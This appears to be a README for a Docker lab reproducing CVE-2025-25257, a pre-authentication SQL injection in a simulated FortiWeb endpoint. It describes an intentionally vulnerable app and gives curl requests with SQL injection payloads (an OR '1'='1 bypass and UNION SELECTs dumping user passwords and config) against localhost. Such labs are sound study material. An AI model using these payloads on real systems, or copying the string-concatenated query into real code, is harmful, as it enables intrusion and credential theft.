
Experiment Architecture (the environment simulates vulnerable FortiWeb components)
Vulnerable endpoint: /api/system/fabric/config
Injection vector: HTTP Header Authorization: Bearer
Mechanism: Direct SQL concatenation (Python f-string)
Authentication: None (full bypass)
Database: SQLite (for demonstration)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile: intentionally vulnerable HTTP service / exposes an exploitable API without authentication
docker-compose.yml: orchestrates a reproducible vulnerable service / exposes the attackable API via HTTP / isolates the experimentation environment
requirements.txt: ensures a stable and reproducible environment
app.py: implements a pre-authentication endpoint / accepts user input via Authorization / concatenates this input into an SQL query / enables authentication bypass and data extraction
init_db.py: prepares an exploitable dataset / allows a clear demonstration of authentication bypass and data exfiltration
payload.txt provides a minimal, controlled, and observable proof of code execution
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl http://localhost:8080/api/system/status
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest